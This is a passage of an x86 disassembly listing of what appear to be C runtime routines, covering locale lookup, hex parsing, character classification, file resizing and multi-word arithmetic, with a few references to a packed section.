loc_43584B:				; CODE XREF: sub_435800+45j
		lea	edx, [ebp+var_8]
		mov	[ebp+arg_0], edx
		jmp	short loc_43588B
; ---------------------------------------------------------------------------

loc_435853:				; CODE XREF: sub_435800+29j
		push	offset off_43DEC8
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F7E0
		add	esp, 8
		test	eax, eax
		jnz	short loc_43588B
		push	8
		lea	ecx, [ebp+var_8]
		push	ecx
		push	0Bh
		mov	edx, dword_4F3730
		push	edx
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_435885
		xor	eax, eax
		jmp	short loc_435897
; ---------------------------------------------------------------------------

loc_435885:				; CODE XREF: sub_435800+7Fj
		lea	eax, [ebp+var_8]
		mov	[ebp+arg_0], eax

loc_43588B:				; CODE XREF: sub_435800+51j
					; sub_435800+66j
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41E610
		add	esp, 4

loc_435897:				; CODE XREF: sub_435800+49j
					; sub_435800+83j
		mov	esp, ebp
		pop	ebp
		retn
sub_435800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4358A0	proc near		; CODE XREF: sub_435200+16Ep
					; sub_435720+6Cp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= word ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	ax, [ebp+arg_0]
		mov	word ptr [ebp+var_4], ax
		mov	[ebp+var_8], 0
		jmp	short loc_4358C0
; ---------------------------------------------------------------------------

loc_4358B7:				; CODE XREF: sub_4358A0:loc_4358E4j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx

loc_4358C0:				; CODE XREF: sub_4358A0+15j
		cmp	[ebp+var_8], 0Ah
		jnb	short loc_4358E6
		mov	edx, [ebp+var_4]
		and	edx, 0FFFFh
		mov	eax, [ebp+var_8]
		xor	ecx, ecx
		mov	cx, word_454B14[eax*2]
		cmp	edx, ecx
		jnz	short loc_4358E4
		xor	eax, eax
		jmp	short loc_4358EB
; ---------------------------------------------------------------------------

loc_4358E4:				; CODE XREF: sub_4358A0+3Ej
		jmp	short loc_4358B7
; ---------------------------------------------------------------------------

loc_4358E6:				; CODE XREF: sub_4358A0+24j
		mov	eax, 1

loc_4358EB:				; CODE XREF: sub_4358A0+42j
		mov	esp, ebp
		pop	ebp
		retn
sub_4358A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4358F0	proc near		; CODE XREF: sub_435200+260p
					; sub_435200+2E6p ...

var_7C		= byte ptr -7Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7Ch
		push	esi
		mov	eax, [ebp+arg_0]
		and	eax, 0FFFFh
		and	eax, 3FFh
		and	eax, 0FFFFh
		or	ah, 4
		and	eax, 0FFFFh
		mov	[ebp+var_4], eax
		push	78h
		lea	ecx, [ebp+var_7C]
		push	ecx
		push	1
		mov	edx, [ebp+var_4]
		push	edx
		call	dword_4F3734
		test	eax, eax
		jnz	short loc_43592E
		xor	eax, eax
		jmp	short loc_435972
; ---------------------------------------------------------------------------

loc_43592E:				; CODE XREF: sub_4358F0+38j
		lea	eax, [ebp+var_7C]
		push	eax
		call	sub_435B60
		add	esp, 4
		cmp	[ebp+arg_0], eax
		jz	short loc_43596D
		cmp	[ebp+arg_4], 0
		jz	short loc_43596D
		mov	ecx, dword_4F3724
		push	ecx
		call	sub_435BE0
		add	esp, 4
		mov	esi, eax
		mov	edx, dword_4F3724
		push	edx
		call	sub_41BC70
		add	esp, 4
		cmp	esi, eax
		jnz	short loc_43596D
		xor	eax, eax
		jmp	short loc_435972
; ---------------------------------------------------------------------------

loc_43596D:				; CODE XREF: sub_4358F0+4Dj
					; sub_4358F0+53j ...
		mov	eax, 1

loc_435972:				; CODE XREF: sub_4358F0+3Cj
					; sub_4358F0+7Bj
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn
sub_4358F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435980	proc near		; CODE XREF: sub_434EB0+Fp

var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	[ebp+var_94], 94h
		lea	eax, [ebp+var_94]
		push	eax
		call	dword_4F539C	; GetVersionExA
		test	eax, eax
		jz	short loc_4359B9
		cmp	[ebp+var_84], 2
		jnz	short loc_4359B9
		mov	[ebp+var_98], 1
		jmp	short loc_4359C3
; ---------------------------------------------------------------------------

loc_4359B9:				; CODE XREF: sub_435980+22j
					; sub_435980+2Bj
		mov	[ebp+var_98], 0

loc_4359C3:				; CODE XREF: sub_435980+37j
		mov	eax, [ebp+var_98]
		mov	esp, ebp
		pop	ebp
		retn
sub_435980	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4359D0	proc near		; DATA XREF: sub_434EB0:loc_434ED2o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	[ebp+var_10], 0
		mov	[ebp+var_4], 1Ah
		mov	[ebp+var_8], 0

loc_4359EB:				; CODE XREF: sub_4359D0:loc_435B33j
		mov	eax, [ebp+var_10]
		cmp	eax, [ebp+var_4]
		jg	loc_435B38
		mov	eax, [ebp+var_10]
		add	eax, [ebp+var_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		mov	edx, [ebp+arg_0]
		cmp	edx, dword_454670[ecx]
		jnz	loc_435B0E
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], eax
		cmp	[ebp+var_14], 0Bh
		ja	short loc_435A47
		cmp	[ebp+var_14], 0Bh
		jz	loc_435AB9
		cmp	[ebp+var_14], 1
		jz	short loc_435A64
		cmp	[ebp+var_14], 3
		jz	short loc_435A86
		cmp	[ebp+var_14], 7
		jz	short loc_435AA8
		jmp	loc_435AD8
; ---------------------------------------------------------------------------

loc_435A47:				; CODE XREF: sub_4359D0+54j
		cmp	[ebp+var_14], 1001h
		jz	short loc_435A75
		cmp	[ebp+var_14], 1002h
		jz	short loc_435A97
		cmp	[ebp+var_14], 1004h
		jz	short loc_435ACA
		jmp	short loc_435AD8
; ---------------------------------------------------------------------------

loc_435A64:				; CODE XREF: sub_4359D0+64j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset a040a ; "040a"
		mov	[ebp+var_8], ecx
		jmp	short loc_435AD8
; ---------------------------------------------------------------------------

loc_435A75:				; CODE XREF: sub_4359D0+7Ej
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_45467C[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_435AD8
; ---------------------------------------------------------------------------

loc_435A86:				; CODE XREF: sub_4359D0+6Aj
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_454680
		mov	[ebp+var_8], ecx
		jmp	short loc_435AD8
; ---------------------------------------------------------------------------

loc_435A97:				; CODE XREF: sub_4359D0+87j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, off_454684[edx]
		mov	[ebp+var_8], eax
		jmp	short loc_435AD8
; ---------------------------------------------------------------------------

loc_435AA8:				; CODE XREF: sub_4359D0+70j
		mov	ecx, [ebp+var_C]
		imul	ecx, 2Ch
		add	ecx, offset off_454688
		mov	[ebp+var_8], ecx
		jmp	short loc_435AD8
; ---------------------------------------------------------------------------

loc_435AB9:				; CODE XREF: sub_4359D0+5Aj
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		add	edx, offset dword_45468C
		mov	[ebp+var_8], edx
		jmp	short loc_435AD8
; ---------------------------------------------------------------------------

loc_435ACA:				; CODE XREF: sub_4359D0+90j
		mov	eax, [ebp+var_C]
		imul	eax, 2Ch
		add	eax, offset a1252 ; "1252"
		mov	[ebp+var_8], eax

loc_435AD8:				; CODE XREF: sub_4359D0+72j
					; sub_4359D0+92j ...
		cmp	[ebp+var_8], 0
		jz	short loc_435AE4
		cmp	[ebp+arg_C], 1
		jge	short loc_435AE6

loc_435AE4:				; CODE XREF: sub_4359D0+10Cj
		jmp	short loc_435B38
; ---------------------------------------------------------------------------

loc_435AE6:				; CODE XREF: sub_4359D0+112j
		mov	ecx, [ebp+arg_C]
		sub	ecx, 1
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_41E510
		add	esp, 0Ch
		mov	ecx, [ebp+arg_8]
		add	ecx, [ebp+arg_C]
		mov	byte ptr [ecx-1], 0
		mov	eax, 1
		jmp	short loc_435B4E
; ---------------------------------------------------------------------------

loc_435B0E:				; CODE XREF: sub_4359D0+44j
		mov	edx, [ebp+var_C]
		imul	edx, 2Ch
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_454670[edx]
		jnb	short loc_435B2A
		mov	ecx, [ebp+var_C]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_435B33
; ---------------------------------------------------------------------------

loc_435B2A:				; CODE XREF: sub_4359D0+14Dj
		mov	edx, [ebp+var_C]
		add	edx, 1
		mov	[ebp+var_10], edx

loc_435B33:				; CODE XREF: sub_4359D0+158j
		jmp	loc_4359EB
; ---------------------------------------------------------------------------

loc_435B38:				; CODE XREF: sub_4359D0+21j
					; sub_4359D0:loc_435AE4j
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	dword_4F5398	; GetLocaleInfoA

loc_435B4E:				; CODE XREF: sub_4359D0+13Cj
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_4359D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435B60	proc near		; CODE XREF: sub_435200+Ap
					; sub_4355B0+Ap ...

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_4], 0

loc_435B6D:				; CODE XREF: sub_435B60+6Dj
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		movsx	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jz	short loc_435BCF
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 61h
		jl	short loc_435BA2
		movsx	edx, [ebp+var_8]
		cmp	edx, 66h
		jg	short loc_435BA2
		mov	al, [ebp+var_8]
		add	al, 0D9h
		mov	[ebp+var_8], al
		jmp	short loc_435BBC
; ---------------------------------------------------------------------------

loc_435BA2:				; CODE XREF: sub_435B60+2Dj
					; sub_435B60+36j
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 41h
		jl	short loc_435BBC
		movsx	edx, [ebp+var_8]
		cmp	edx, 46h
		jg	short loc_435BBC
		mov	al, [ebp+var_8]
		add	al, 0F9h
		mov	[ebp+var_8], al

loc_435BBC:				; CODE XREF: sub_435B60+40j
					; sub_435B60+49j ...
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		movsx	edx, [ebp+var_8]
		lea	eax, [ecx+edx-30h]
		mov	[ebp+var_4], eax
		jmp	short loc_435B6D
; ---------------------------------------------------------------------------

loc_435BCF:				; CODE XREF: sub_435B60+24j
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_435B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435BE0	proc near		; CODE XREF: sub_435140+60p
					; sub_435530+39p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_4], cl
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx

loc_435BFE:				; CODE XREF: sub_435BE0+5Cj
		movsx	eax, [ebp+var_4]
		cmp	eax, 41h
		jl	short loc_435C10
		movsx	ecx, [ebp+var_4]
		cmp	ecx, 5Ah
		jle	short loc_435C22

loc_435C10:				; CODE XREF: sub_435BE0+25j
		movsx	edx, [ebp+var_4]
		cmp	edx, 61h
		jl	short loc_435C3E
		movsx	eax, [ebp+var_4]
		cmp	eax, 7Ah
		jg	short loc_435C3E

loc_435C22:				; CODE XREF: sub_435BE0+2Ej
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		jmp	short loc_435BFE
; ---------------------------------------------------------------------------

loc_435C3E:				; CODE XREF: sub_435BE0+37j
					; sub_435BE0+40j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_435BE0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	107h
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	1
		push	103h
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	117h
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	3
		push	157h
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	2
		push	10h
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435D50	proc near		; CODE XREF: sub_42F1D0+4Ep

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	4
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
sub_435D50	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	8
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	dword_4F388C, 3A4h
		jnz	short loc_435DBD
		push	3
		push	0
		mov	eax, [ebp+8]
		push	eax
		call	sub_435DD0
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_435DBD
		mov	dword ptr [ebp-4], 1
		jmp	short loc_435DC4
; ---------------------------------------------------------------------------

loc_435DBD:				; CODE XREF: .packed:00435D9Ej
					; .packed:00435DB2j
		mov	dword ptr [ebp-4], 0

loc_435DC4:				; CODE XREF: .packed:00435DBBj
		mov	eax, [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435DD0	proc near		; CODE XREF: .packed:00435C5Bp
					; .packed:00435C7Bp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		mov	[ebp+arg_0], eax
		mov	ecx, [ebp+arg_0]
		xor	edx, edx
		mov	dl, byte_4F39A1[ecx]
		and	edx, [ebp+arg_8]
		test	edx, edx
		jnz	short loc_435E24
		cmp	[ebp+arg_4], 0
		jz	short loc_435E0E
		mov	eax, [ebp+arg_0]
		xor	ecx, ecx
		mov	cx, word_453CAE[eax*2]
		and	ecx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		jmp	short loc_435E15
; ---------------------------------------------------------------------------

loc_435E0E:				; CODE XREF: sub_435DD0+27j
		mov	[ebp+var_4], 0

loc_435E15:				; CODE XREF: sub_435DD0+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_435E24
		mov	[ebp+var_8], 0
		jmp	short loc_435E2B
; ---------------------------------------------------------------------------

loc_435E24:				; CODE XREF: sub_435DD0+21j
					; sub_435DD0+49j
		mov	[ebp+var_8], 1

loc_435E2B:				; CODE XREF: sub_435DD0+52j
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_435DD0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+8]
		cmp	eax, dword_4F3880
		jnb	short loc_435E71
		mov	ecx, [ebp+8]
		sar	ecx, 5
		mov	edx, [ebp+8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, dword_4F3780[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_435E81

loc_435E71:				; CODE XREF: .packed:00435E4Dj
		call	sub_429A90
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	short loc_435EAF
; ---------------------------------------------------------------------------

loc_435E81:				; CODE XREF: .packed:00435E6Fj
		mov	edx, [ebp+8]
		push	edx
		call	sub_431070
		add	esp, 4
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_435EC0
		add	esp, 8
		mov	[ebp-4], eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_431100
		add	esp, 4
		mov	eax, [ebp-4]

loc_435EAF:				; CODE XREF: .packed:00435E7Fj
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_435EC0	proc near		; CODE XREF: sub_4314E0+44Cp
					; .packed:00435E95p

var_1024	= dword	ptr -1024h
var_1020	= dword	ptr -1020h
var_101C	= dword	ptr -101Ch
var_1018	= dword	ptr -1018h
var_1014	= dword	ptr -1014h
var_1010	= dword	ptr -1010h
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= byte ptr -1004h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1024h
		call	sub_41EF80
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+var_1004]
		mov	[ebp+var_1014],	eax
		mov	[ebp+var_101C],	0

loc_435EE6:				; CODE XREF: sub_435EC0+51j
		cmp	[ebp+arg_4], 0
		jge	short loc_435F0D
		push	offset dword_43DEDC
		push	0
		push	81h
		push	offset dword_43DED0
		push	2
		call	sub_422610
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_435F0D
		int	3		; Trap to Debugger

loc_435F0D:				; CODE XREF: sub_435EC0+2Aj
					; sub_435EC0+4Aj
		xor	ecx, ecx
		test	ecx, ecx
		jnz	short loc_435EE6
		push	1
		push	0
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42E570
		add	esp, 0Ch
		mov	[ebp+var_100C],	eax
		cmp	[ebp+var_100C],	0FFFFFFFFh
		jz	short loc_435F51
		push	2
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E570
		add	esp, 0Ch
		mov	[ebp+var_1010],	eax
		cmp	[ebp+var_1010],	0FFFFFFFFh
		jnz	short loc_435F59

loc_435F51:				; CODE XREF: sub_435EC0+70j
		or	eax, 0FFFFFFFFh
		jmp	loc_4360E9
; ---------------------------------------------------------------------------

loc_435F59:				; CODE XREF: sub_435EC0+8Fj
		mov	ecx, [ebp+arg_4]
		sub	ecx, [ebp+var_1010]
		mov	[ebp+var_1018],	ecx
		cmp	[ebp+var_1018],	0
		jle	loc_436070
		push	1000h
		push	0
		mov	edx, [ebp+var_1014]
		push	edx
		call	sub_41E4B0
		add	esp, 0Ch
		push	8000h
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_4390A0
		add	esp, 8
		mov	[ebp+var_4], eax

loc_435F9F:				; CODE XREF: sub_435EC0+198j
		cmp	[ebp+var_1018],	1000h
		jl	short loc_435FB7
		mov	[ebp+var_1020],	1000h
		jmp	short loc_435FC3
; ---------------------------------------------------------------------------

loc_435FB7:				; CODE XREF: sub_435EC0+E9j
		mov	ecx, [ebp+var_1018]
		mov	[ebp+var_1020],	ecx

loc_435FC3:				; CODE XREF: sub_435EC0+F5j
		mov	edx, [ebp+var_1020]
		mov	[ebp+var_1008],	edx
		cmp	[ebp+var_1018],	1000h
		jl	short loc_435FE7
		mov	[ebp+var_1024],	1000h
		jmp	short loc_435FF3
; ---------------------------------------------------------------------------

loc_435FE7:				; CODE XREF: sub_435EC0+119j
		mov	eax, [ebp+var_1018]
		mov	[ebp+var_1024],	eax

loc_435FF3:				; CODE XREF: sub_435EC0+125j
		mov	ecx, [ebp+var_1024]
		push	ecx
		mov	edx, [ebp+var_1014]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E9D0
		add	esp, 0Ch
		mov	[ebp+var_1008],	eax
		cmp	[ebp+var_1008],	0FFFFFFFFh
		jnz	short loc_43603F
		call	sub_429AA0
		cmp	dword ptr [eax], 5
		jnz	short loc_436031
		call	sub_429A90
		mov	dword ptr [eax], 0Dh

loc_436031:				; CODE XREF: sub_435EC0+164j
		mov	ecx, [ebp+var_1008]
		mov	[ebp+var_101C],	ecx
		jmp	short loc_43605E
; ---------------------------------------------------------------------------

loc_43603F:				; CODE XREF: sub_435EC0+15Aj
		mov	edx, [ebp+var_1018]
		sub	edx, [ebp+var_1008]
		mov	[ebp+var_1018],	edx
		cmp	[ebp+var_1018],	0
		jg	loc_435F9F

loc_43605E:				; CODE XREF: sub_435EC0+17Dj
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_4390A0
		add	esp, 8
		jmp	short loc_4360CE
; ---------------------------------------------------------------------------

loc_436070:				; CODE XREF: sub_435EC0+AFj
		cmp	[ebp+var_1018],	0
		jge	short loc_4360CE
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E570
		add	esp, 0Ch
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_430EF0
		add	esp, 4
		push	eax
		call	dword_4F52E8	; SetEndOfFile
		neg	eax
		sbb	eax, eax
		neg	eax
		dec	eax
		mov	[ebp+var_101C],	eax
		cmp	[ebp+var_101C],	0FFFFFFFFh
		jnz	short loc_4360CE
		call	sub_429A90
		mov	dword ptr [eax], 0Dh
		call	dword_4F5360	; RtlGetLastWin32Error
		mov	esi, eax
		call	sub_429AA0
		mov	[eax], esi

loc_4360CE:				; CODE XREF: sub_435EC0+1AEj
					; sub_435EC0+1B7j ...
		push	0
		mov	edx, [ebp+var_100C]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42E570
		add	esp, 0Ch
		mov	eax, [ebp+var_101C]

loc_4360E9:				; CODE XREF: sub_435EC0+94j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_435EC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4360F0	proc near		; CODE XREF: sub_432490+53p
					; sub_432490+94p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	[ebp+var_8], 0
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		cmp	ecx, [ebp+arg_0]
		jb	short loc_436116
		mov	edx, [ebp+var_4]
		cmp	edx, [ebp+arg_4]
		jnb	short loc_43611F

loc_436116:				; CODE XREF: sub_4360F0+1Cj
		mov	eax, [ebp+var_8]
		add	eax, 1
		mov	[ebp+var_8], eax

loc_43611F:				; CODE XREF: sub_4360F0+24j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		mov	eax, [ebp+var_8]
		mov	esp, ebp
		pop	ebp
		retn
sub_4360F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436130	proc near		; CODE XREF: sub_4362B0+77p
					; sub_4362B0+AAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		push	ecx
		call	sub_4360F0
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_436187
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		call	sub_4360F0
		add	esp, 0Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_436187
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+8]
		add	eax, 1
		mov	ecx, [ebp+arg_0]
		mov	[ecx+8], eax

loc_436187:				; CODE XREF: sub_436130+25j
					; sub_436130+46j
		mov	edx, [ebp+arg_0]
		add	edx, 4
		push	edx
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		push	eax
		call	sub_4360F0
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jz	short loc_4361BC
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		add	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx

loc_4361BC:				; CODE XREF: sub_436130+7Bj
		mov	ecx, [ebp+arg_0]
		add	ecx, 8
		push	ecx
		mov	edx, [ebp+arg_4]
		mov	eax, [edx+8]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		push	edx
		call	sub_4360F0
		add	esp, 0Ch
		mov	esp, ebp
		pop	ebp
		retn
sub_436130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4361E0	proc near		; CODE XREF: sub_4362B0+5Bp
					; sub_4362B0+67p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 80000000h
		neg	ecx
		sbb	ecx, ecx
		neg	ecx
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+4]
		and	eax, 80000000h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		shl	edx, 1
		mov	eax, [ebp+arg_0]
		mov	[eax], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		shl	edx, 1
		or	edx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		mov	[eax+4], edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+8]
		shl	edx, 1
		or	edx, [ebp+var_8]
		mov	eax, [ebp+arg_0]
		mov	[eax+8], edx
		mov	esp, ebp
		pop	ebp
		retn
sub_4361E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_436240	proc near		; CODE XREF: sub_436F70+382p
					; sub_439170+316p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		and	ecx, 1
